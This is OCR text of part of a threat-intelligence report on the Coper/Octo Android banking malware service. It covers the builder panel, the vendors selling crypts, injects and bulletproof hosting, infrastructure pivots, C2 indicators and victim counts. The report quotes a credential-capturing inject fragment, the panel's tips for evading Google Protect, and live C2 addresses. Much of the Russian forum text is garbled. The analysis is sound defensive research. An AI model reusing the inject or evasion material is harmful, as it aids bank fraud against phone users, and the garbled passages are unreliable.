Our finding leads us to understand almost everything regarding Octo. There are a couple of tabs on the panel that we’ll
detail a bit later, but one of the most interesting insights is actually the partners involved in the Octo business. In order:

+ Buba | @CPAoranje, for the Android installs.

* @apk_crypter, @hiddenrootbackup and Goldencrypt for crypts.
* (@inthebox7, for injects.

* (@bear31337, for bulletproof service.
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Home . Admin Templates Injects Crypts

Dashboard

Customer: adm
Plan: Business
Crypts left today: 666 of 666

Rent days left: 666 until 15.01.24

Useful contacts

Android Installs: Buba @cPAcranje, promo code 0CTO
Extra crypt: APK Crypter @apk_crypter

Extra crypt: HiddenRoot @hiddenrootbackup

Extra crypt: Goldencrypt android_crypt@exploit.im
Injects: @inthebox?, promo code 0CTO

Bulletproof VPS: @bear31337, promo code 0CTO

Plan Templates Daily crypts
Limited 10 20
Business 30 50

Bw O % &

Server time - | Documentation | Log out, adm|

News

Octo Spring Update Apr 11
Bot has been updated. Accessibility system was improved which means no
more stucks and scroll lags in injects and the operating system.

Tag "NSG" is not required anymore. Every build is signed with right
certificate. You can remove "NSG" letters from the Tag field in your
templates.

New certificate [ Jan27 |

We're testing new certificates to bypass Google Protect "App maybe harmful"
warning. To use it, add "NSG" to the start of the Tag field in all your
Templates.

Example: "NSG_chrome" (without quotes)

APKs of template with such tag will be signed with private clean certificate.

What makes APK dirty? =3

@ Uploading apk on (Virustotal, Jotti, Bitdefender etc).

@ Uploading apk on upload sites (Mediafire, Wetransfer, Dropbox, Google
Drive etc).

@ Sending apk in social media applications (Discord, WhatsApp, Facebook,
Email, Messenger). All of those sites send the file to VirusTotal.

@ Modifying the apk in wrong way.

By @apk_crypter

Update =

- "Keen icon" "Ack nermissinne firet" added tn T lat

Figure 22: Octo main builder panel.

Partners in crypts

The three crypts/crypting providers offer similar services. Crypts are typically used to bypass device security, Google Play

protection, and antivirus software. These services are commonly employed by Android botnets. For example, in 2020,
hiddenrootbackup introduced his service, providing crypts to the community. He mentioned working with several bots,

including Cerberus, Hydra and Spynote, among others.

Prices may vary, but most providers fall within the same price range. For instance, if you’re looking for a week of crypt
provider services, which includes 10 crypts per day, it will cost you approximately $130.

These providers usually use underground forums to promote their services.

06.08.2019
AVATAR o
3ppascTByiTe,
GoldenCrypt
RAM

Peructpauws: 06.09.2019

MNpepcrasnsem cepeuc nyywero kpunta sBawux APK cainos Ha peikke, ¢ obxofom sapHiHra ot Google Play Protect + obxop, scTpoerHoro McAfee Ha 8-8 Android.
Caiit cepsuca goctyned B TOR onion ¢ BO3MOXHOCTBIO OHNAMH aBTo KpunTom APK 1 ¢ asTomatusuposanHoid onnaroid B BTC.

Tpen Ha cocepHem Goppe:
xttps://forum.exploit.in/topic/154583/

CooBleHns: 109
Pewenns: 1
Peakumu: 70 - UMEeeTCs BO3MOXHOCTb 3abupars thaiinsl nocne mopda yepes AP
lapanT cpenku: 2 - KpunToBaHHele APK npoxopaTt sanupauwic Google Protect u McAfee Ha 8-9 Android.
[enoanr: 0.0076 B -

- peanbHbli pe3ynLTaT NPOBEePKKU BbIBOOUTCA Ha OCHOBaHKWKM oT4eTos Dyncheck.

- cTabunbHbIA OHNARH cannopTa.

- paboTocnocobHOCTL Ha Beex Bepcusax Android

- NpakTu4ecku NosHbiA obxop, Becex aHTBMpycoB. no Dyncheck

Figure 23: Goldencrypt advertising his service on an underground forum.
Injects

Webinjects are modules that can inject HTML or JavaScript before a web page is rendered, and are often used to trick
users. They are known to be abused by banking trojans, as well as being employed to steal credentials and manipulate form
data inside web pages. In most banking trojan families, there is at least one webinjects module.

The partner named ‘inTheBox’ offered injects intended to target retail banking, mobile payment services, cryptocurrency
exchanges, and mobile e-commerce applications operated by major organizations in Australia, Brazil, India, Indonesia,
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Japan, Kuwait, Malaysia, Philippines, Qatar, Saudi Arabia, Singapore, Thailand, United States and various other countries
in Europe and Asia.

Like the other providers, he advertises his service on several underground forums, pointing his work to his online shop
with ready-to-sale web injects that are compatible with various Android banking malware at inexpensive prices and
lucrative discounts.

[Cepauc] MpusaTHbie WHsxxekTsl noa Alien Cerberus Ermac Tpexrnasast OCTO Hook

& InTheBox - (U 24.01.2023 - T3 alien android android bankbot ermac ermac android hook hydra injections octo

Muwy MHXEKTLI Ha 3aKa3, Tak Xe ecTb roTossix Gonee 1800 wWT. co BpemeHem BCe OGHOBNAIOTCA Ha aKTYanbHOCTb.
PaGorato yepes caiT, rotos npoiTu niobyto nposepky. Ha cocegHnx Goppax paboTato Gonee 2x neT, €CTb OT3bIBbl, €CTh CTaTbW Ha HOBOCTHbLIX CalTax.

Cait paGoTaeT fonxHbIM obpasom:

DeepWeb
24.01.2023 1. Peructpupyerteck

3 2. YTobbl 0TCeUL MyCThIe akKayHTsl, perucTpauus cTout 1008, nocne onnatkbl PErveTPaLmMK Ball akKayHT akTuBMpyeTcs U aTv 1008 6yayT Ha Bawem 6anaHce, Uk MoXHO Byaet
0

TPaTUTL Ha caiiTe.

MyHKUnoHan canTa:

* ABTOMaTW4eCKOe NonenHeHne Ganaxca
. HOKynKa WHXeKTa

. CKDbITMﬁ WHXeKkTa

» 3akasbl

» OTcnexusaHue cTagwia Balero sakasa
» CKaumpaHue CKPUHLIOTOB

* CKauymBaHWe UHXEeKTOB

* MMpoduns

Figure 24: ‘inTheBox’ advertising his inject service.

The online shop reveals several bots that this provider is working with, including Alien, Ermac, Octo, MetaDroid, Cerberus
and Hydra, at the very least. The prices are relatively affordable, and the purchasing process is straightforward since
customers can buy the injects directly from the website. Generally, it costs around $30 for an inject.

Bulletproof VPS provider

The last partner we will talk about here is @bear31337, or the officially named ‘Bearhost’, a bulletproof hosting service
operating in Russia’s datacentres.

As a provider using Russian datacentres, any work against the Russian Federation is prohibited. As such, Bearhost’s
advertisement states that they are not responsible for customer actions on their servers, and states, quite clearly, that they do
allow customers using their servers to conduct pentests, host botnets, viruses, fakes, etc.

24.12.2019

JNo6peii aeHs!

Mbl pagbl NPEANOXUTL Bawemy BHAMAHWIO HaL CepBUC NO apeHAe BbiAeneHHbIX U BUPTYaNbHEIX CEPBEPOB, TAKWUX Kak NeHTecT, 6pyT, ckaHupoBaHue ceTeil, z688, NL
BI?_IARHOST brute, a TakxKe ¥ ANA WWPOKOro cnekTpa Apyrux 3agad.
pemnym . s -
m PaspelleHbl NEHTECTbI NP NOMOLLM CTUNEPOB, CHuGdepoB, 6oTHETOB, Mannepos, GOTHET-NaHenew, BUPYCOB, (heliKoB N NPOYMUX APYriX Beled.

Peructpayus: 24.12.2019
Mbl ¢ pafocTbio NpeaocTasuM Bam KauecTBEeHHYIO TeXHUYECKYIO NOAAERXKKY B TeYeHNe BCEro CPoKa Halwero CoTpyAHUYecTea.

CoobujeHnn: 36
Peakumu: 19 Bce KoHbUrypauvm cepsepoB pacnonoXeHsl B KpynHenwwx [ara Lientpax Mupa ¢ Lnpoknmu Kananamu 1 MolHbiM XKenesom.
Denosut: 0.0569 B

KOHTAKTbI:

jabber: bearhost@exploit.im
jabber: bearhost@thesecure.biz
telegram: https://t.me/bear31337

Brumanue! K kaxgomy npuobpetéHHomy Y, No y, Bbl 6 HO nony4yuTe A BUPTY peep VPS ans ck aHua
ceTeil Ha ckopocTk 120 kpps Ha onepauMoHHO| cucTeme Linux ¢ yctaHoBneHHsIM Masscan.

Figure 25: Bearhost advertisement on an underground forum.

Now we know about this provider partnering with Octo, let’s have a quick look at a recent C2.
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Identity
PN 91.240.118.224 ==
Malicious @

Chang Way Technologies Co. Limited HK-CHANGWAY-20200113 CHANGWAY-AS, HK 57523

Figure 26: Recent Octo C2 hosted on Changway AS.

This C2 (and many others) are hosted on a hosting provider named ‘Chang Way Technologies Co. Limited | Changway-AS,
HK’. This company is registered in Hong Kong, but looking closely at the AS details, something caught our attention:

AS57523 Chang Way Technologies Co. Limited
IPv4 Addresses: 3.328 Number of Peers: 2 Number of Prefixes: 13 ASN Allocated: 9t June 2021
Frafies IPv4 Prefives
Country Announced Prefix Description Valid ROA Parent Prefix RIR
s 45.93.20.0/24 © 45.93.20.0/24 RIPE
— 62.122.184.0/24 Mega LLC 62.122.184.0/24 RIPE
= 62.233.50.0/24 SIERRA LLC 62.233.50.0/24 RIPE
ey 85.200.11.0/24 Chang Way Technologies Co. Limited 85.200.8.0/22 RIPE
g 91.240.118.0/24 Chang Way Technologies Co. Limited 91.240.118.0/24 RIPE
= Telefonica LLC 152.80.198.0/24 RIPE
&E| 176.111.174.0/24 RIPE
= Telenet LLC 185.11.61.0/24 RIPE
—y 185.81.68.0/24 Transcom LLC 185.81.68.0/24 RIPE
— 85.122.204.0/24 Topline LLG 185.122.204.0/24 RIPE
— 185.234.216.0/24 185.234.216.0/24 RIPE
= 188.119.66.0/24 FLYNET LLC 188.110.64.0/22 RIPE
e 194.26.135.0/24 Megaspace Ltd 194.26.135.0/24 RIPE

Figure 27: Chang Way AS prefixes.

All prefixes are related to Russia, with IP addresses distributed between Saint Petersburg and Moscow. Looking at the
whois data, we found a registrant email, bernard.webmail@gmail.com, and the name of an individual: Victor Zaycev.

DNS records for the Chang Way domain list an SOA record with another email address: processor.webmail.gmail.com.

Mapping the details found during the investigation leads to a few discoveries, as shown in Figure 28.

AS57523

3,328 IPv4 Addresses

Incorporated 23rd September 2020
31337 hk
changway hk
gvvdtaaigd hk

WHOIS — bernard webmail@gmail com

snakeshophk
olimpee hk

Registrant Information info@changwayhk — changway.hk networkmaze hk

Chang Way
Technologles CO DNS — processor.webmail gmail.com.

L 11’_'[11t £ d T/F, MW Tower, 111 Bonham Strand, Sheung
Wan

VICTOR ZAYCEV

Address HK Hong Kong
HONG KONG
+357 2 2008059

Figure 28: Map of Chang Way Technologies registrant information and pivots.
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At the far right of the map, a domain name close to the hosting provider is linked to the email found earlier: 31337[.]hk.
Looking for this domain’s siblings, a couple of domains linked to Bearhost were found:

Subdomains (&)

ns1.31337.hk 1 172.67.181.146 104.21.18.101 176.113.115.253
ns2.31337.hk " 172.67.181.146 104.21.18.101 176.113.115.252
bearhost.31337.hk 1 62.233.50.247

billing.31337.hk 1 172.67.181.146 104.21.18.101 62.233.50.247
wanw.31337.hk 1 172.67.181.146 104.21.18.101 172.64.80.1
31337.hk 172.64.80.1 104.21.18.101 17267181146

Figure 29: VirusTotal results for siblings domain.

Back to the second email address found, processor.webmail.gmail.com. The ‘Processor’ nickname has been linked to a
couple of bulletproof hosting services sold on underground forums, called ‘UNDERGROUND’ and ‘Bearhost’. On these
posts, the contact information includes Telegram accounts:

* (@underground31337
* (@billing31337
* (@bear31337

In 2023, a customer complained about a server being deleted following an attack against Bearhost. After discussing the
issue with support and being dissatisfied with the response, the customer shared screenshots of the conversation with
Processor, who is believed to be the person behind BearHost, as identified by the ‘MarketPlace’ account on XSS.

db456 Ony6nukoBaro: O uacos
GanT
° 14 4aCcoB Hazaj, Processor ckazan:
1 He CTaHy TPaTWT, BDeMS, UTOGH OTBEYATH B 3TOM apOUTPaXe 6e3 (WHAHCOBLIX NPETeH3Mi) MPOCTO MPOLMTUPYID Cebs! Xe:
Ha 3T0M BCe. KOMY HyXHa AONOHUTENbHAS HHPOPMALMA - MALIUTE B TMuHLIE COOGLIGHIA WM MHe B Tenery noxanyiicra. Beero 4o6poro!

TINTHES PETUCTPALIT  Caouu e CROBaMM Bbi HETKO f13€TE MOHSTS 4T BaM YBOKO NNIEBATS Ha TO U4TO NPOMSOLLIO, B HE OCTABAAETE HMKAKIX KOMMPOMHCCO 3AEKBATHBIX 1 CKPHIBAETE TO,4T0 NPOUSOWAO - AaBaS MOASM PasHylo MHbOPMALIO O

cnysnswenca.

Bbl MKELl U BALIA KOMMETEHTHOCTL HAXOAUTEA Ha MBKCUMAMGHO HUSKOM YPOBHE. KaKyo Bbl MHGOPMALIMID XOCTUTE AATS MOASM UTO BaM MUWYT ? To UTO WX AaHHIE YTEPAHS! U3-33 SKCPACEHCOPHBIX BYph C aTAGHTUAL! ? Bbl 3HAMK uTo

5/1 NPOM30LN0 €lle B 5 YTPa, Bl HUKOTO HE NPeAYNPEAMIM 1 NPOCTO CHECTM OCTATKM AaHHbIX COBCTBEHHBIMM PYKaMK. TIOTOMY 4TO Bbl 3AABMIANM 4TO BeCh AeHb UCMPABNANK NPOU3OLIE/LIEE HO HEPT BO3bMM A MOTY AOKA3ATb YT CepBepa
LeATenoH YMEpIM He B 5 yTpa a y)Ke No3AHMM BeuepoM. Bbl BCe HAM HO yXe BTOpoit pas niopeit ckpeiBas npasay o Mpowy AMC hopyMa pasoBpaTbCs 8 AaHHON CUTYaLMM, YENOBEK npeanaraet
apyro “ CepBepa Ha BalleM PECYpCe HO yIXe BTOpPOVt a3 06MaHbIBAET BCEX 1 MEpeaaeT AaHHbIE THETLIH AuLLaM,

15 nyGnuca
Pervcrpauma

processor ony6
KnnoGanT
oo 9 uacos wazan, dbas6 ciazan:
CBOWMM e CI0BaMN Bbl YETKO aeTe NOHATL 4TO Bam rMyGOKO NNEBATS Ha TO 4TO MPOMSOLINO, Bbl HE OCTABNRETE HNKAKIX KOMMPOMUCCOB 3eKBaTHBIX 1 CKDLIBAETE TO,4T0 NPOMSOLINO - AaBas NIOARM PasHYH0 NHBOPMALMIO O

cayumBLIEMCS .

NpPOM30WNO ele & 5 yTpa, Bbl HAKOrO He NPeAynpeaui A NPOCTO CHECAM OCTATKM AaHHSIX COOCTBEHHbIMA DyKami. MOTOMy 4TO Bl 32ABNSNM YTO BECH AGHb UCNPAENANN NPOUSOLIEALIEE HO YEDT BO3LMMU 5 MOTY JOKA3ATL UTO
CepBepa yMepnu He & 5 yTPa a yxe NO3AHNM BeYepOM. Bol BCE SHANM HO yXe BTOPOii pas 06MaHbIBaeTe NI0/eR CKPLIBAR HACTORILLYH NPaBAY O NponscleAwen. Npowy AMC popyMa paso6paThca & AHHOM CUTYaLIMM, YenoseK
NPEANaraeT cepBepa Ha BaLIeM PECYPCe HO yXe BTOPOV Pas OBMAHLIBAET BCEX U NEPEAAET AaHHbIE TPETbIM ULAM

O KaKoit Tol NPHITKMIY) A3, MHE FYB0KO NNeBaTs Ha Te67) MoXellb NPOAONXATE CBOU BbICEPbl 3AECH, a Hbl MPOCTO MOPAKE.

Bbl MIXEL| M BaWa KOMMETEHTHOCTb HAXOAMTCA Ha MaKCMMaNbHO HU3KOM YPOBHE. KaKyio Bbl MHGOPMALIMIO XOCTUTE A4aTs MIKASM HTO BaM NUWYT ? T YTO MIX AAHHbIE YTEPSHbI N3-33 SKCPACEHCOPHBIX Byph C aTNaHTIAL! ? Bbl 3HANM 4TO

Figure 30: Conversation between Processor and a customer.

A later answer from Bearhost on the same thread indicates that Processor and Bearhost worked together on this situation,
and the problem was solved.
Another aspect we haven’t discussed regarding Bearhost is an additional network layer related to their bulletproof hosting

service — a common technology used by botnets for hiding the IP addresses of servers by manipulating DNS settings.
FastFlux uses the legitimate technique of linking multiple IP addresses to a single domain name. The cybercriminals

control an ever-changing network of botnet devices acting as physical servers. This complicates the task of monitoring the

criminal traffic, since the address of the data packet recipient changes regularly.
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On the Telegram channel own by Bearhost, a new partnership was announced with a well-known bulletproof hoster/
fast-flux provider, Yalishanda.

Good afternoon friends. We protect against SPAMHAUS again.

We are pleased to announce that from now on, on all our servers, for all our
clients, upon request, we offer FastFlux protection from the old FF service
Revolutionary FastFlux (yalishanda). To set up FF, just tell our support what
domains you want to add and he will make the necessary settings on the FF
service side. You will only need to change the NS servers on your domains,
connect an SSL certificate to the domain and point the domains to our server.
Let me remind you that we also offer ISP 6 panel for free on all plans.

Contact us.

Figure 31: Bearhost announcing a partnership with Yalishanda.

In January 2024, Yalishanda announced the creation of a new service named ‘Revolutionary FastFlux’ — basically the same
FastFlux as before, but better. Based on Yalishanda words:

Revolutionary FastFlux! Bulletproof hosting. Forget about Spamhaus. Best Fastflux!
by yalishanda - Monday January 15, 2024 at 12:42 PM

Ladies and Gentlemen! We are glad to present to your attention a brand new FastFlux panel, from the old hosters who have had time to prove
themselves from the best side.

In this panel, we took into all the wishes of our customers and our resellers. All wishes have been realized. We rewrote the entire panel from the start,
making our own proxy server and abandoning nginx/haproxy and other standard web-proxy servers, and also focused on the privacy and security of
our clients.

Benefits aimed at privacy/security:

Breached

Figure 32: Yalishanda promoting the new FastFlux service/

BACK TO THE BUILDER

The builder panel has different tabs that we will describe one by one.

Admin

The admin tab would have been the most interesting to look into — unfortunately, though, the content is protected by an
RC4 key that we don’t have.

Serve t\:‘.w:—-i Documentation | Logout, adm

Unlock

Figure 33: Admin tab from Octo builder panel.
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is—>tpl = new WebTpl{'admin_. ;
is=>form = new Form( "POST");

if($this->form->isPost())
{
$data = $this->form->getPostDatal);

if(sdata["action"] = "Unl

$this==action_Unlock($data);

$vars = [1;
tthis->tpl->show($vars);

Figure 34: Source code associated with the Admin tab, indicating it is protected by an RC4 key.

Luckily, we got access to the source code, which helps us understand what the admin is actually capable of on this builder.

taction = (isset{$ GET['action']l))? $_GET['action'] : "";
fclient_id

if(%action ==
1is==action_List();
else if($action == "add_client"
is==action_AddClient();
else if($action ="'
fthis==action_EditClient($client_id);
faction == "delet ient"

'edit_client"

is==action_DeleteClient($client_id);

faction == "add nt"
1is=>action_AddPayment{$client_id];
taction == "delete_payment"
is=»>action_DeletePayment($client_id);
else if(%action == "get_info"
fthis==action_GetInfolfclient_id);
else if(%action =" in_as"
is—=action_LoginAs($client_id);
else if(faction == "add n 5
1is==action_AddNews!();

Figure 35: Admin capabilities related to customer details.
We won’t list everything, but to summarize, the admin can:
+ Edit any information regarding a customer
 Check for user panel IP, password related, proxy related
* Check if the user is using the FastFlux technology or not
+ Edit the domains associated with customer panel

» Edit payment details

Templates

Templates are all the templates created by the user to start a malicious campaign. These templates are used in addition to
the Octo bot by providing the targeted application details — such as Chrome, for example — with required permissions, a
push text, the application title and domains related to the malicious campaign.
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Edit Bot Template
"chrome_test"

Autobuild @D Get Device Admin

. Get Device Administrator permission
APKs on autobuild

Ask Battery First

0
Request battery permission before Accessibility Service is enabled
Language Language code (EN, ES, etc) Ask permissions first
ES Get SMS/Phone permissions before Accessibility Service is enabled
@D Disable Google Protect
Name for template Letters, digits and '_', '-* only, 64 symbols max

Keep icon

chrome_test
= Do not hide bot icon

@D Show Index

Show HTML-instruction how to enable Accessibility Service.

lcon I:‘ Description Description of Accessibility Service
Browse... No file selected. Habilite esta opcion para proteger totalmente su dispositive movil

App Title E.g. "Google Update”  Push Text Push notification text. %APP% - app title macros
Google Chrome X %APP%

Domains Links to panel ~ Push Title Push notification title

https://fuck.com/ZmEwY2ZmZWYzN2Mw/
Edit Domains

Figure 36: Bot template targeting Google Chrome.

Habilite el servicio

Injects

This tab list all the injects available, ordered by country. These injects automatically come with the Octo bot, and are used
during malicious campaigns. Figure 37 shows an example with French banks targeted by Octo, such as Boursorama,
BanquePopulaire, Société Générale, etc.

[zZ)com.boursorama.android.clients.html
[zZlcom.boursorama.android.clients.png
[zZ]com. caisseepargne.android.mobilebanking.html
[z7)Jcom. caisseepargne.android.mobilebanking.png
[#)com.cm_prod.bad. html
[zZ)Jcom.cm_prod.bad.png

(z)com. IngDirectAndroid. html
[zlcom.IngDirectAndroid.png
[zZ]com.ocito.cdn.activity.creditdunord. html
[Flcom.ocito.cdn.activity.creditdunord.png
[@fr.banguepopulaire.cyberplus.html
[z]fr.banquepopulaire.cyberplus.png
E)fr.creditagricole.androidapp.html
[Z)fr.creditagricole.androidapp.png

@ fr.1lcl.android. customerarea.html
[Flfr.1lcl.android.customerarea.png

[zma. gbp.pocketbank. html
[zlma.gbp.pocketbank.png
[Z]mob1i.societegenerale.mobile.lappli.html
[z2)Jmobi.societegenerale.mobile. lappli.png
(Z]net.bnpparibas.mescomptes.html
[zZlnet.bnpparibas.mescomptes.png

Figure 37: Injects list for French banks.
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onsubmit="return false" id="sendData"
t type="tel" name="login" id="login" class="input" onkeyup="check();this.value =

value.replace (/[ 1/, '')" maxlength="1@" placeholder="Saisir votre identifiant ici"
autocomplete="off" autofocus

Figure 38: Inject example logging data from victim input.

Crypts

The Crypts tab is related to all Octo bot payloads created by customers. This tab give insightful details such as targeted
apps, customer names/nicknames, logs from the crypts, and finally, allows the crypts to be downloaded.

Looking at the crypt logs provides some insight into how the crypt is build, which tools are used to sign the payload, the
configuration path, the wrapper details. Figure 39 shows an example where a crypt is signed by using uber-apk-signer, a cli
tool that helps signing and zip multiple Android applications with debug or provided release certificates.

BUILD SUCCESSFUL in 21s
46 actionable tasks: 46 executed
[#][7;37m DONE*|[@m
Uber signing...
source:
/var/builder/tmp
zipalign location: BUILT_IN
/tmp/uapksigner-4626146892703367726/1inux-zipalign-29_0_28929874706615627623.tmp
keystore:
[@] 221e@a31 /var/builder/bld/signer/uber.keystore (RELEASE_CUSTOM)

01. bot_wrapped.apk
WARNING: already signed — will be resigned. 0ld certificate info: [v1, v2]
Subject: Subject: CN=Unknown, OU=Unknown, O=Unknown, L=Unknown, ST=Unknown, C=Unknown
SHA256: 7ea2b369fa2d9a83fldfc427elel9ffObObdf2c7589e757113521330884519ce

SIGN

file: /var/builder/tmp/bot_wrapped.apk (0.5 MiB)

checksum: 57affa65e8ebee2c58e67836d45026¢19ab28b8226ee7abd71175971718913e4 (sha256)
- zipalign success

- sign success

VERIFY
file: /var/builder/tmp/bot_wrapped.apk (0.5 MiB)
checksum: 37ed4e20dac2cb6aa7473ff59f187a2e894e73787df46c4125203c9658663c58b (sha256)
— zipalign verified
- signature verified [vl, v2, v3]
1 warnings
Subject: CN=Android Debug, OU=Android, O=Unknown, L=Unknown, ST=Unknown, C=US
SHA256: fac61745dc0903786fh%ede62a962b399f7348f0bb61899b8332667591033b9c / SHA1withRSA
Expires: Tue Apr 30 22:35:04 UTC 2052

Figure 39: Crypt logs showing uber-apk-signer in action for the bot.
The sha256 hash provided at the end of the log file can then be used to hunt for new Octo crypts:

Organisation: Android Debug

Issuer: Android Debug

Algorithm: shalWithRSAEncryption

Valid from: 2013-12-31722:35:04Z

Valid to: 2052-04-30T22:35:04Z

Serial number: D 232eae62

Intelligence: 115 malware samples on MalwareBazaar are signed with this code signing certificate
Thumbprint Algorithm: SHA256

Thumbprint: [0} fac61745dc0903786fb9ede62a962b399f7348f0bb6f899b8332667591033b9c

Figure 40: Usage of the sha256 certificate to find more payloads on ThreatFox.




C2 INFRASTRUCTURE OVERVIEW & STATS

As mentioned previously, Coper/Octo operates as a malware-as-a-service (MaaS) offering, with customization placed into
the hands of its customers. However, there are some constants (outside of elements of the malware code) that we can focus
on to identify connected infrastructure.

One such constant is the X.509 certificate utilized for Coper/Octo C2 servers.

OCTOPUS PRIME: IT DIDN’T TURN INTO A TRUCK, BUT A WIDELY SPREAD ANDROID BOTNET

Examining a different C2 server to the one mentioned above, 91.240.118.224 appears to have been used in Coper/Octo
campaigns commencing on 5 February 2024, based on uploads to VirusTotal. Our own analysis of the IP also identifies it as

a Coper/Octo controller.

According to our data holdings, 91.240.118.224 appears to be hosting what seems to be a fairly generic X.509 certificate:

Timastampii IF Address|| Hostmamei
2024-02-05 03:16:13  971.240.118.224

H024-02-08 16:14:02

0.1

2024-02-1003:1

2024-02-10 08:14;

2024-02-12 08:14:

24021212

2024-02-15 0

2024-02-17 12:14

H024-02-19 08:14:04

2024-02-20 0320033 81, 240.118.224

Paortil =] Alt Namesi Gl O Emailll Subjecti!

oo i 443 (itps) www.example.com s Compary - S example.com, Ol Departmiend,
i 443 MPs) wwwexample.com | s Compary - G exampie.conm, OUsDepartment,

B #43 (MIpS) Www.eNAMpe.COM | less Gompany - GN=ww.ExAM i, com, OU=Departimnt,

B 63 MMIps) Www.eNampie.com | less Gompany - CN=www.ExAM i, com, OU=Departimnt,

B 03 MMIPS) WwW.eNAMDIE.COM | s Compary - CM=ww.Exampi.com,OU=Departmnt,
s 443 (Mps) wWww.axamplo com | ks ‘Company Gh=www.axampia.com,Ol=Dapartmint,
| 443 (Mips) wWww.axampio.com ks Company - CH=www.axampie, com,CU=Dapastmant,
ol 493 hitps) www.examplo Com | ess Compary - CN=www example.com, CU=Departmend,
ol 443 [MIpS) wwwexample.com  ess Comparty - Chlwwwaexample. com, GUsDepartmend, |
oo 443 (MIDS) Www.example.com  wss Compary = CNmwwn exam e, com,Cls Department,

O=Comgany
CrwCompany
O=Company
O=Company
O=Company
O=Company
C=Company
O=Company
OwCompany

OwCompany

s

(o

(o

st

st

(2]

g

tess

Ioss

o

NotAfteri

H0E5-02-02 18:24:28
H25-02-02 1B:24:28
HZ5-02-02 1682428
HZ5-02-02 162428
2025-02-02 18:24:28

H25-02-02 24

2025-02-02 18:24:24
20Z5-02-02 18:24:28
H025-02-02 1B:24:28

M25-02-02 182428

HNotBelore
2024-02-03 1
2024-02-03 1
2024-02-03 1
2024-02-03 1
2024-02-03 1
2024-02-03 1
2024-02-03 1
2024-02-03 1
2024-02-03 1

2024-02-03 1

&:24:28

B:24:28

8:24:26

8:24:26

8:24:28

2428

a:24:28

a:24:28

B:24:28

82428

Figure 41: Generic certificate used by the IP.

However, when expanding our query to seek further examples of IPs hosting an X.509 certificate with a subject value of
‘CN=www.example.com,0U=Department,0O=Company’, we find that there are surprisingly few candidates.

In total, we found 65 other IPs hosting a certificate that matched the same subject value, dating back to mid-June 2024.

When we analysed the resulting IPs, we found that, aside from a small number of false positives, this certificate value was
a strong indicator of Coper/Octo infrastructure. The majority of the servers we identified as Coper/Octo were located in

Russia or the Netherlands.

Looking for recent Octo C2s, we came across this one: https://biricruelidurdursunn[.]Jcom/YzZRmZmJjZTgl1ZmVj, reported
in June 2024. We found a way to monitor bot activity and then define how many victims are targeted by one server, which
helps to prevent and have better statistics on Octo:

Ga /biricruelidurdursunn.com

TOTAL:
bots:1868
bots_tasks:2343
errors:17
injects:
sms:3782
vnc_tasks:0
active_wncs:1

STATS:
country:total,alive,offline,dead, installed_today
us:10,0,6,4,9
ge:l1,0,1,0,0
7:122,13,42,67,67
tr:1532,166,482,884,810
ro:1,0,1,0,0
es:182,@,132,50,132
cy:13,0,4,9,12
*%:1,8,1,0,1

ALIVE TOTAL: 188

SPACE:
/dev/nvmednlpd4 2.9T 2.5G 2.8T 1% /
tmpfs 126G @ 126G 0% /dev/shm
/dev/nvme@nlp2 235M 87M 136M 40% /boot
/dev/nvmednlpl 285M 5.8M 2794 3% /boot/efi
PANEL SIZE:
92M total

Figure 42: Octo C2 targeting mainly Turkey.
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Expanding this to look at all the active Coper/Octo C2 servers we were aware of at the time of this analysis, we found there
to be a total of nearly 45,000 bots, with nearly 700,000 SMS messages intercepted from them.

When mapping out the locations of the victims, four countries stood out in particular as being heavily targeted by
Coper/Octo campaigns (at the time of our analysis): Portugal, Spain, Turkey and the United States.

CONCLUSION

In conclusion, this analysis of the Coper/Octo Android malware-as-a-service operation sheds light on the sophisticated and
evolving nature of mobile malware threats. From its origins in the Exobot family to its current status as a fully fledged
malware service, Coper/Octo represents a potential risk to Android users worldwide. Its range of capabilities, including
keylogging, injects, and VNC remote access, underscores the need for heightened vigilance and security measures among
mobile device users.

Furthermore, the examination of Coper/Octo’s infrastructure and targeting strategies highlights the global reach and
strategic focus of its operators. By understanding the intricacies of its command-and-control infrastructure and victim
targeting patterns, security researchers can better mitigate the threat posed by this malware and protect users from falling
victim to its malicious activities.

As the threat landscape continues to evolve, it is imperative for both users and security professionals to remain proactive in
identifying and addressing emerging threats like Coper/Octo. By staying informed about the latest developments in mobile
malware and implementing robust security measures, we can collectively work towards a safer and more secure mobile
ecosystem for all users.
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